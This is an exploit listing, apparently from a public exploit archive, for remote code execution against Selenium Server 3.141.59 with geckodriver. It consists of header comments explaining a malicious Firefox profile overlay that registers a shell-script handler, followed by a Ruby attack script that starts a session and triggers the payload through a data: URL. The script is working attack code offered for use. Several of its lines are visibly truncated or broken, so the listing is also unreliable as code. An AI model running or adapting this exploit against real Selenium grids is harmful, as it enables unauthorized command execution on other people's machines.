Selenium 3.141.59 Remote Code Execution


Selenium version 3.141.59 remote code execution exploit.

MD5 | 320bf2b4bef0650b3ad098cb7f2c44a1
# Exploit Title: Selenium 3.141.59 - Remote Code Execution (Firefox/geckodriver)
# Date: 2021-05-27
# Exploit Author: Jon Stratton
# Vendor Homepage:
# Software Link:
# Version: 3.141.59
# Tested on: Selenium Server 3.141.59, webdriver, geckodriver
# When Selenium runs, it creates a custom profile (in /tmp/ for Linux) on the Node. This profile then gets overwritten by a possible overlay that is sent in a base64 encoded zip file when a Selenium session is started.
# One of the config file can be used to set a custom handler (which do things like, for instance, associates “mailto:[email protected]” to your email client). In this example, a new handler is created for “application/sh” that will execute the argument with “/bin/sh”
# Side notes, this profile doesn't safely unzip. So this can be used to write files to the file-system.
# The Payload is encoded and embedded as inline data associated with the "application/sh" mime type.

#!/usr/bin/env ruby

require 'optparse'
require 'net/http'
require 'json'
require 'uri'
require 'zip'
require 'base64'

options = {} do |opts|
opts.banner="Usage: example.rb [options]"
opts.on('-hURL', '--hubURL', 'Selenium Hub URL') do |h|
options[:hub] = h
opts.on('--help', 'Prints this help') do
puts opts

hub_url = options[:hub]

payload = 'rm -rf $0
echo success > /tmp/selenium_node_rce.txt'

# Build profile zip file.
stringio = Zip::OutputStream::write_buffer do |io|
# Create a handler for shell scripts
encoded_profile = Base64.strict_encode64(stringio.sysread)

# Create session with our new profile
newSession = {:desiredCapabilities => {:browserName => "firefox", :firefox_profile => encoded_profile}}

uri = URI.parse(hub_url)
http =, uri.port)

# Start session with encoded_profile and save session id for cleanup.
uri = URI.parse("%s/session" % [hub_url])
request =, 'Content-Type' => 'application/json')
request.body = JSON.generate(newSession)
response = http.request(request)
sessionId = JSON.parse(response.body)["value"]["sessionId"]

# URL.
data_url = "data:application/sh;charset=utf-16le;base64,%s" % [Base64.encode64(payload)]
uri = URI.parse("%s/session/%s/url" % [hub_url, sessionId])
request =, 'Content-Type' => 'application/json')
request.body = JSON.generate(:url => data_url)
response = http.request(request)

# End session(not working)
uri = URI.parse("%s/session/%s" % [hub_url, sessionId])
request =



Source link